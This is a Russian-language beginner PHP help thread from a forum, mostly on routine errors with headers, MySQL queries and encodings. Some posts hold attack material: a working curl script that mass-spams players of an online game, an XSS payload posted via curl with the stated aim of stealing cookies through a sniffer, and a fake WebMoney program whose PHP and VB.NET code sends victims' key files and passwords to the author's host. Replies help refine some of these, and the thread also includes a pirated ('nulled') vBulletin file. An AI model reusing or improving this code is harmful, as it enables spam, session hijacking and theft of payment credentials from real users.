RE: Вопросы по PHP (для новичков)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Вопросы по PHP (для новичков) - 2011-02-17 19:53:20.626666
|
|
|
antiporno
Сообщений: 79
Оценки: 0
Присоединился: 2010-12-24 14:22:00.863333
|
Не получается переход на другую ссылку.
<?php
$user="admin";
$password="123";
$url="http://google.com";
if(($user==$_GET[user]) && ($password==$_GET[pass]))
{
echo("correct");
header("Location: $url");
}
else
{
echo("incorrect");
}
?>
Пробую использовать. Вылазиет ошибка: Warning: Cannot modify header information - headers already sent by (output started at D:\home\site\www\gg.php:16) in D:\home\site\www\gg.php on line 24
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-02-20 06:57:37.946666
|
|
|
DEH
Сообщений: 195
Оценки: 0
Присоединился: 2007-01-13 22:27:31.370000
|
Перед тем, как устанавливаются заголовки (header) не должно быть вывода. Убери все эхо итп до этой команды. Кстати, из ошибки все понятно - заголовки уже установлены. Просто запомни на долгие лета - ставишь заголовки - делай эту в первую очередь. Как-то так :)
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-03-18 06:36:26.923333
|
|
|
EscortSoft
Сообщений: 3
Оценки: 0
Присоединился: 2011-03-04 11:33:43.303333
|
Ещё ошибка может позникать из-за лишних пробелов до/после <?php ?>. Закрывающий тег вообще не рекомендуется ставить, если php не вставляется в html
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-03-28 22:09:17.100000
|
|
|
KonopelkinMIX
Сообщений: 15
Оценки: 0
Присоединился: 2011-02-20 16:35:17.166666
|
при заливке форума на хостинг выдает ошибку Parse error: syntax error, unexpected '=', expecting '(' in bootstrap.php on line 60 <?php /*======================================================================*\ || #################################################################### || || # vBulletin 4.1.0 Patch Level 2 || # —————————————————————- # || || # Copyright 2000-2010 vBulletin Solutions Inc. All Rights Reserved. || || # This file may not be redistributed in whole or significant part. # || || # —————- VBULLETIN IS NOT FREE SOFTWARE —————- # || || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || || #################################################################### || \*======================================================================*/ /*Legacy Bootstrap==================================================================*/ // Turn on error reporting error_reporting(E_ALL & ~E_NOTICE); // Legacy system constants define('CSRF_PROTECTION', true); define('VB_AREA', 'Forum'); // Don't use the usual WOLPATH resolution define('SKIP_WOLPATH', 1); // Legacy info // TODO: Load the cms phrasegroup elsewhere $phrasegroups = array('vbcms'); // Bootstrap to the legacy system require('./includes/class_bootstrap.php'); $bootstrap = new vB_Bootstrap(); $bootstrap->datastore_entries = array('routes'); $bootstrap->bootstrap(); /*MVC Bootstrap=====================================================================*/ // Notify includes they are ok to run if (!defined('VB_ENTRY')) { define('VB_ENTRY', 1); } // Get the entry time define('VB_ENTRY_TIME', microtime(true)); // vB core path define('VB_PATH', realpath(dirname(__FILE__)) . '/'); // The package path define('VB_PKG_PATH', realpath(VB_PATH . '../packages') . '/'); // Bootstrap the framework require_once(VB_PATH . 'vb.php'); vB::init(); if (defined('VB_API') AND VB_API === true) { // Force vB::$vbulletin->options['route_requestvar'] to 'r' for API. vB::$vbulletin->options['route_requestvar'] = 'r'; } // Get routed response print_output(vB_Router::getResponse()); /*======================================================================*\ || #################################################################### || # NulleD By - FintMax || # SVN: $Revision: 28749 $ || #################################################################### \*======================================================================*/ помогите нвйти ошибку
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-03-28 22:45:23.706666
|
|
|
mscrack
Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
|
KonopelkinMIX вы бы выделили 60 строку, а то лень считать. может тут вместо if (defined('VB_API') AND VB_API === true) надо if (defined('VB_API') AND VB_API == true) так написать
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-03-28 23:40:41.826666
|
|
|
KonopelkinMIX
Сообщений: 15
Оценки: 0
Присоединился: 2011-02-20 16:35:17.166666
|
попробовал-не помогло. в notepad++ 60 строка vB::$vbulletin->options['route_requestvar'] = 'r';
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-03-31 22:01:53.546666
|
|
|
MagicMight
Сообщений: 49
Оценки: 0
Присоединился: 2010-04-21 22:42:34.316666
|
Ай люди.. я заклевался. У меня стоят Apache 2.2.17 + php5 + MySQL 4.1; Если первые два в угол ставить не приходится, то с мускулом беда. Сервер, видимо из принципа, команды mysql_connect() и mysql_pconnect() тщательно игнорирует. Из cmd базой я управлять могу, но как мне подключится из PHP? Ага, вот еще: при редактировании php.ini, если я пытаюсь подключить модули extension= ; у меня апач запускаться не хочет. Так вот, сами вопросы: 1) Установщик MySQL добавляет модуль для поддержки работы PHP по умолчанию? 2) Если нет, то в состав PHP5 такой модуль по умолчанию встроен или нет? 3) Где взять, как настроить, куда скинуть.. dll модулей? Чтобы все работало, а то своей примитивной базой данных из 1000 *.txt файлов пользоваться, мягко говоря, задолбало.
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-05 22:57:19.010000
|
|
|
EquaTion
Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
|
Кароче начал изучать php дошел до Соеденения с бд и выборка из бд!) Кароче написал так: <? $db = mysql_connect("localhost", "user", "518811"); mysql_select_db("firstdb", $db); $result = mysql_query("SELECT * FROM firma", $db); $myrow = mysql_fetch_array($result); echo $result["name"]; ?> Вроде написал все правильно, но выдает ошибку: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in s:\home\localhost\www\php\mysql.php on line 15
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-06 00:05:18.080000
|
|
|
mscrack
Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
|
а таблица заполнена? попробуй вставить этот кусок. Посмотри какая ошибка вылезет
mysql_query("SELECT * FROM firma", $db);
if(!$result) {
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $sql;
exit();
}
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-06 00:17:40.450000
|
|
|
EquaTion
Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
|
quote:
ORIGINAL: mscrack а таблица заполнена? попробуй вставить этот кусок. Посмотри какая ошибка вылезет
mysql_query("SELECT * FROM firma", $db);
if(!$result) {
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $sql;
exit();
} quote:
mysql_query("SELECT * FROM firma", $db); if(!$result) { echo "Возникла ошибка - ".mysql_error()."<br>"; echo $sql; exit(); } Созданы… Сделал как ты сказал вот что выдает: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in s:\home\localhost\www\php\mysql.php on line 13 Возникла ошибка - No Database Selected Notice: Undefined variable: sql in s:\home\localhost\www\php\mysql.php on line 19
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-06 00:20:41.520000
|
|
|
mscrack
Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
|
quote:
Возникла ошибка - No Database Selected судя по ошибки ты базу не выбрал замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')')
mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-06 15:39:49.300000
|
|
|
EquaTion
Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
|
quote:
ORIGINAL: mscrack quote:
Возникла ошибка - No Database Selected судя по ошибки ты базу не выбрал замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')')
mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');
Теперь просто пустаю страницу выдает Я даже создал новуб БД и таблицы нефига серавно…
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-06 17:45:51.390000
|
|
|
EquaTion
Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
|
quote:
ORIGINAL: EquaTion quote:
ORIGINAL: mscrack quote:
Возникла ошибка - No Database Selected судя по ошибки ты базу не выбрал замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')')
mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');
Теперь просто пустаю страницу выдает Я даже создал новуб БД и таблицы нефига серавно… Так с этим разобрался просто не ту переменную выводил теперь место текста выводит квадратики(�����)
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-06 22:34:11.186666
|
|
|
mscrack
Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
|
кодировка не правильная. База в какой кодировке?
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-28 11:45:14.933333
|
|
|
HavingingWorld
Сообщений: 24
Оценки: 0
Присоединился: 2009-10-29 16:26:46.166666
|
Подскажите пожалуйста как на блоге на движке вордпресс вставлять php код на страницы!
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-04-29 12:19:56.713333
|
|
|
yMa.hacKer
Сообщений: -1779
Оценки: 10
Присоединился: 2010-01-10 14:25:47.293333
|
quote:
ORIGINAL: EquaTion quote:
ORIGINAL: EquaTion quote:
ORIGINAL: mscrack quote:
Возникла ошибка - No Database Selected судя по ошибки ты базу не выбрал замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')')
mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');
Теперь просто пустаю страницу выдает Я даже создал новуб БД и таблицы нефига серавно… Так с этим разобрался просто не ту переменную выводил теперь место текста выводит квадратики(�����) Кодировку поменяй. quote:
Подскажите пожалуйста как на блоге на движке вордпресс вставлять php код на страницы! http://www.wordpressplugins.ru/posts/inline-php.html
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-05-14 23:02:40.646666
|
|
|
fometra
Сообщений: 77
Оценки: 0
Присоединился: 2010-03-01 18:36:23.016666
|
Есть рабочий скрипт-спамер для одной онлайн игры. Рассылает по диапазону ID игроков, нужно переделать скрипт, чтобы он рассылал по базе ID (базу буду брать парсером) Вот сам скрипт: quote:
<HТМL> <title>Спамер</title> <form method="post"> <table> <tr><td>Стартовой ИД:</td><td><input type="text" name="start" size="7"></td></tr> <tr><td>Конечный ИД:</td><td><input type="text" name="end" size="7"></td></tr> <tr><td>Тема:</td><td><input type="text" name="title"></td></tr> <tr><td>Текст:</td><td><textarea cols=40 rows=20 name='text'></textarea></tr> </table> <input type="submit" value="Начать спамить!" target="_blank"> </form> <hr> <?php set_time_limit(0); $a="тут мыло"; $b="тут пароль"; $c="задержка"; $d=$_POST['start']; $e=$_POST['end']; $f=$_POST['title']; $g=$_POST['text']; if(!$a){ echo "Не ввели Email"; exit(); } if(!$b){ echo "Не ввели Пароль"; exit(); } if(!$c){ echo "Не ввели Задержку"; exit(); } if(!$d){ echo "Не ввели начальный ID"; exit(); } if(!$e){ echo "Не ввели Конечный ID"; exit(); } if(!$f){ echo "Не ввели Заголовок"; exit(); } if(!$g){ echo "Не ввели Текс сообщения"; exit(); } $h=getcwd()."/123.txt"; $i=curl_init(); curl_setopt($i,CURLOPT_FOLLOWLOCATION,1); curl_setopt($i,CURLOPT_RETURNTRANSFER,1); curl_setopt($i,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($i,CURLOPT_cооkieJAR,$h); curl_setopt($i,CURLOPT_cооkieFILE,$h); curl_setopt($i,CURLOPT_REFERER,"http://XX.XXXXX.XX/"); curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/login.php"); curl_setopt($i,CURLOPT_POST,1); curl_setopt($i,CURLOPT_POSTFIELDS,"do_cmd=login&server=2&email=".urlencode($a)."&password=".urlencode($b)."&remember=1"); $j=curl_exec($i); for($k=$d;$k<$e;$k++){ curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/player.php?id=".$k); curl_setopt($i,CURLOPT_POST,0); $j=curl_exec($i); preg_match('/to_id=\d+/',$j,$l); curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/post.php?m=new&".$l[0]); curl_setopt($i,CURLOPT_POST,0); $j=curl_exec($i); preg_match("/name=[\"']k[\"']\s+value=[\"'](\w+)[\"']/",$j,$l); $m=$l[1]; preg_match("/name=[\"']to[\"']\s+value=[\"'](\w+)[\"']/",$j,$l); $n=$l[1]; curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/post.php?m=new"); curl_setopt($i,CURLOPT_REFERER,"http://XX.XXXXX.XX/post.php?m=new&".$l[0]); curl_setopt($i,CURLOPT_POST,1); curl_setopt($i,CURLOPT_POSTFIELDS,"do_cmd=add&k=".$m."&to=".urlencode($n)."&subject=".urlencode($f)."&bоdу=".urlencode($g)); $j=curl_exec($i); $o=fopen('log.HТМL',"a+"); if(strstr($j,"Письмо отправлено!")){ fputs($o,"$k - send<br>\n"); echo"$k - send<br>\n"; flush(); } else{ fputs($o,"$k - error<br>\n"); echo"$k - error<br>\n"; flush(); } fclose($o); sleep($c); } echo "Task Completed!!!"; ?> </HТМL>
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-11 18:05:32.063333
|
|
|
dikox
Сообщений: 11
Оценки: 0
Присоединился: 2010-11-19 23:16:14.363333
|
нужен код по пхп чтобы ставил текст в середину экрана и большими буквами
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-15 21:57:48.706666
|
|
|
Chaz
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
|
Здравствуйте, есть страница на которой расположена форма ввода quote:
<form action="" method="POST"> Логин<br/> <div class="podinput"><input type="text" value="что-либо" name="login"></div><br/> Пароль<br/> <div class="podinput"><input type="password" name="pass"></div><br/> <div style="color:red;font-size:12px;">Вы ввели неправильный логин или пароль!</div> <div style="margin-top:10px;"><input type="submit" name="log" value="Войти"></div> </form> Подскажите код скрипта на пхп который будет передавать нужное мне значение вот сюда (вместо "что-либо") quote:
<input type="text" value="что-либо" name="login">
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-15 23:02:53.260000
|
|
|
=UMA=
Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
|
quote:
ORIGINAL: Chaz Здравствуйте, есть страница на которой расположена форма ввода quote:
<form action="" method="POST"> Логин<br/> <div class="podinput"><input type="text" value="что-либо" name="login"></div><br/> Пароль<br/> <div class="podinput"><input type="password" name="pass"></div><br/> <div style="color:red;font-size:12px;">Вы ввели неправильный логин или пароль!</div> <div style="margin-top:10px;"><input type="submit" name="log" value="Войти"></div> </form> Подскажите код скрипта на пхп который будет передавать нужное мне значение вот сюда (вместо "что-либо") quote:
<input type="text" value="что-либо" name="login">
<?
$login = 'login';
?>
.....
<input type="text" value="<? echo $login; ?>" name="login">
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-15 23:40:21.613333
|
|
|
Chaz
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
|
quote:
….. quote:
ORIGINAL: =UMA= quote:
ORIGINAL: Chaz Здравствуйте, есть страница на которой расположена форма ввода quote:
<form action="" method="POST"> Логин<br/> <div class="podinput"><input type="text" value="что-либо" name="login"></div><br/> Пароль<br/> <div class="podinput"><input type="password" name="pass"></div><br/> <div style="color:red;font-size:12px;">Вы ввели неправильный логин или пароль!</div> <div style="margin-top:10px;"><input type="submit" name="log" value="Войти"></div> </form> Подскажите код скрипта на пхп который будет передавать нужное мне значение вот сюда (вместо "что-либо") quote:
<input type="text" value="что-либо" name="login">
<?
$login = 'login';
?>
.....
<input type="text" value="<? echo $login; ?>" name="login">
так мне нужно будет изменить саму форму? доступа к изменению этой формы я не имею. Весь смысл в том, например, есть некий сайт www.sait.ru/index.php при переходе по этому адресу мы видем форму ввода логина и пароля, так мне нужен скрипт, например script.php который лежит на другом хосте, при переходе на него он отправляет на www.sait.ru/index.php в форму ввода логина, то что мне надо. Я так понимаю, в этом скрипте должна быть переменная в которой содержится то, что я хочу передать, и адрес по которому я это хочу передать, ну и должно быть указано место, куда его пихнуть
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-15 23:48:34.550000
|
|
|
=UMA=
Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
|
Через CURL
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,"login=что либо");
curl_exec ($ch);
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-16 00:07:36.356666
|
|
|
Chaz
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
|
спасибо, ща проверю
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-16 00:17:12.133333
|
|
|
Chaz
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
|
все сделал, только не знаю как проверить) Так что еще один вопрос. Дело в том, что в форме ввода логина есть xss уязвимость. Но для того, чтоб заработал свой код, перед ним нужно ввестиquote:
"> но код quote:
$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php"); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"login=">что либо"); curl_exec ($ch); не будет работать, что же мне делать???
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-16 08:26:43.653333
|
|
|
=UMA=
Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
|
quote:
ORIGINAL: Chaz все сделал, только не знаю как проверить) Так что еще один вопрос. Дело в том, что в форме ввода логина есть xss уязвимость. Но для того, чтоб заработал свой код, перед ним нужно ввестиquote:
"> но код quote:
$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php"); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"login=">что либо"); curl_exec ($ch); не будет работать, что же мне делать??? вот так:
\">
тока не понятно, что ты таким образом сделать хочешь.. )
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-16 09:54:25.103333
|
|
|
Chaz
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
|
в что-либо я напишу код, который будет перенаправлять на сниффер, который будет красть куки )
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-16 10:12:29.810000
|
|
|
Chaz
Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
|
ну вот, поковырялся в коде и если все правильно, то данный код quote:
<? $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php"); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"login=\"><meta http-equiv=\"Refresh\" content=\"0\; url=http://www.example.ru/\">"); curl_exec ($ch); ?> должен переадресировать на http://www.example.ru
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-06-16 10:46:57.706666
|
|
|
=UMA=
Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
|
Так как ты хочешь на php не получится ) Скинь в лс ссылку где ты так хочешь сделать, я посмотрю, напишу можно там это сделать или нет.
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-08-05 11:35:36.506666
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
Всем доброго время суток) Начал наконецтаки изучать PHP и MYSQL и у меня возникла проблема с добавлением данных в БД. Страница с формой отправки POST запроса
<form action="add_lesson.php" method="post">
<p><label>Введите название урока: <br><input name="title" type="text" size="90%"></label></p>
<p><label>meta_desсriрtion: <br><input name="meta_d" type="text" size="90%"></label></p>
<p><label>meta_keywords: <br><input name="meta_k" type="text" size="90%"></label></p>
<p><label>Дата добавления урока: <br><input name="date" type="text" value="2000-12-30" size="90%"></label></p>
<p><label>Краткое описание урока: <br><textarea name="disсriрtion" cols="90%" rows="10"></textarea></label></p>
<p><label>Полное описание урока: <br><textarea name="text" cols="90%" rows="20"></textarea></label></p>
<p><label>Автор урока: <br><input name="author" type="text" size="90%"></label></p>
<input name="submit" type="submit" value="Добавить урок">
</form>
В файле обработчика "add_lesson.php"
<?php
$db = mysql_connect ("localhost","php","12345");
mysql_select_db ("phpsite",$db);
if (isset($_POST['title'])) {$title=$_POST['title'];}
if (isset($_POST['meta_d'])) {$meta_d=$_POST['meta_d'];}
if (isset($_POST['meta_k'])) {$meta_k=$_POST['meta_k'];}
if (isset($_POST['date'])) {$date=$_POST['date'];}
if (isset($_POST['disсriрtion'])) {$desсriрtion=$_POST['desсriрtion'];}
if (isset($_POST['text'])) {$text=$_POST['text'];}
if (isset($_POST['author'])) {$author=$_POST['author'];}
?>
<HТМL>
<head><link type="text/css" rel="stуlеshееt" href="/css/my.css" />
<title>Добавление уроков</title></head>
<bоdу>
<table border="0" align="center" width="1000">
<tr>
<td colspan="2" class="top"><?php include("block/head.php")?></td>
</tr>
<tr align="top">
<td class="block"><?php include("block/block.php")?></td>
<td class="bоdу">
<?php
if (isset($title) and isset($meta_d) and isset($meta_k) and isset($date) and isset($desсriрtion) and isset($text) and isset($author))
{
$result = mysql_query("insеrt into lesson (title,meta_d,meta_k,date,disсriрtion,text,author) values('$title', '$meta_d', '$meta_k', '$date', '$desсriрtion', '$text', '$author' )",$db);
if ($result == 'true') {echo "<p>Урок добавлен</p>";}
else {echo "<p>Ошибка при добавлении урока</p>";}
}
else {echo "<p>Вы заполнили не все поля</p>";}
?>
</td></tr>
<tr>
<td colspan="2" class="bottom"><?php include("block/bottom.php")?></td>
</tr>
</table>
</bоdу>
</HТМL>
Выводится такая строка "Вы заполнили не все поля" а если я делаю так:
<?php
if (1==1)
{
$result = mysql_query("insеrt into lesson (title,meta_d,meta_k,date,disсriрtion,text,author) values('$title', '$meta_d', '$meta_k', '$date', '$desсriрtion', '$text', '$author' )",$db);
if ($result == 'true') {echo "<p>Урок добавлен</p>";}
else {echo "<p>Ошибка при добавлении урока</p>";}
}
else {echo "<p>Вы заполнили не все поля</p>";}
?>
то выходит эта строка "Ошибка при добавлении урока" Посмотрите в чем проблема, немогу понять, проверил каждый символ, в чем проблема непойму((
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-08-05 11:48:55.600000
|
|
|
GoAttack
Сообщений: 842
Оценки: 189
Присоединился: 2009-05-08 23:20:55.580000
|
if (isset($_POST['disсriрtion'])) {$desсriрtion=$_POST['desсriрtion'];if ($desсriрtion=='') {unset($desсriрtion);}} $result = mysql_query("insеrt into lesson (title,meta_d,meta_k,date,disсriрtion,text,author) values('$title', '$meta_d', '$meta_k', '$date', '$desсriрtion', '$text', '$author' )",$db); вероятно ошибка в одной букве
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-08-05 11:57:31.300000
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
тваю м*ть!!! вот блин а я из-за этого вчера весь день просидел, немог разобратся!!! :) GoAttack спасибо, я проверил все работает))
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-05 19:57:56.116666
|
|
|
hustler152
Сообщений: 41
Оценки: 0
Присоединился: 2010-05-04 16:08:50.320000
|
Я пишу фэйк прогу на Vb.Net WebMoney. Вообщем я сделал форму где юзер должен выбрать свой файл ключа и ввести пасс к нему. Я хочу чтобы этот файл с его пассом отправился мне на мыло. Принцип такой, что прога соединяется с моим скриптом, а от этого скрипта мне на мыло это все уходит. Я знаю как делать чтобы просто текст (пароли, логины итд) шел на почту, но как сделать чтобы в приложении приклеплялся файл ключа? Может поможет кто? Вот пример скрипта, который нужно как-то доделать: <?php
$to="мыло";
$subject="Файл ключа";
$Key=$_GET['key'];
$Pass=$_GET['pass'];
$mesaga="Ключ: $Key \n Пасс: $Pass \n";
mail($to,$subject,$mesaga);
?> Вот код VB.NET Dim zapros As New WebClient
zapros.DownloadString(CStr("www.Host.ru/key.php?pass=" + TextBox1.Text + "&key=" + TextBox2.Text))
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-06 00:47:23.650000
|
|
|
correktor
Сообщений: 10
Оценки: 0
Присоединился: 2011-03-08 15:11:46.040000
|
Здравствуйте! Подскажите плз, что может означать вот эта ошибка в форме регистрации: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\phpsite\save_user.php on line 110 Ошибка! Вы не зарегистрированы. собственно 109 и 110 строки. $result = mysql_query("SELECT id FROM users WHERE login='$login'",$db); $myrow = mysql_fetch_array($result);
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-16 23:38:42.486666
|
|
|
gram123
Сообщений: 7
Оценки: 0
Присоединился: 2011-07-05 20:43:39.783333
|
Добрый день, У меня по сути ламерский вопрос.. Подскажите, если скрипт сайта, написан на php , но он закодирован, возможно ли его раскодировать?? Какими способами и методами возможно??
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-21 21:26:44.930000
|
|
|
JAFAR_KARAEV
Сообщений: 10
Оценки: 0
Присоединился: 2011-10-05 22:05:47.423333
|
добрый вечер! посоветуйте хорошую книгу по пхп и с++! если можно написанную нормальным языком, более человечную и с примерами. интересует серьезное изучение! просто мне это интересно! учусь в универе по этому направлению, материала дают мало! и если можно ссыль не форум об этом и о сетевом взломе удаленных рабочих станций! там где меньше флуда и нубства! из более серьезных! если форум закрыт, то если не затруднит инвайт в личку. от себя обещаю не флудить и не нубить! чисто для прочтения, обучения! Заранее благодарен!
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-22 13:56:47.570000
|
|
|
JAFAR_KARAEV
Сообщений: 10
Оценки: 0
Присоединился: 2011-10-05 22:05:47.423333
|
это же форум для новичков! откликнитесь кто нибудь!
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-22 14:00:59.303333
|
|
|
Smokey_Di
Сообщений: 17
Оценки: 0
Присоединился: 2011-10-21 19:30:28.036666
|
quote:
ORIGINAL: JAFAR_KARAEV добрый вечер! посоветуйте хорошую книгу по пхп и с++! если можно написанную нормальным языком, более человечную и с примерами. интересует серьезное изучение! просто мне это интересно! учусь в универе по этому направлению, материала дают мало! и если можно ссыль не форум об этом и о сетевом взломе удаленных рабочих станций! там где меньше флуда и нубства! из более серьезных! если форум закрыт, то если не затруднит инвайт в личку. от себя обещаю не флудить и не нубить! чисто для прочтения, обучения! Заранее благодарен! http://ru.html.net/ отличные учебники по html, css, php с примерами
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-10-23 15:00:29.180000
|
|
|
JAFAR_KARAEV
Сообщений: 10
Оценки: 0
Присоединился: 2011-10-05 22:05:47.423333
|
Спасибо! а по си, и з тех учился конкретную книгу дайте пжалста! написанную человеческим языком!
|
|
|
RE: Вопросы по PHP (для новичков) - 2011-11-04 13:49:39.573333
|
|
|
class0071
Сообщений: 300
Оценки: 0
Присоединился: 2011-01-27 17:15:23.750000
|
quote:
ORIGINAL: gram123 Добрый день, У меня по сути ламерский вопрос.. Подскажите, если скрипт сайта, написан на php , но он закодирован, возможно ли его раскодировать?? Какими способами и методами возможно?? Узнать тип кодировки –> расшифровать спец программами.
|
|
|
|
|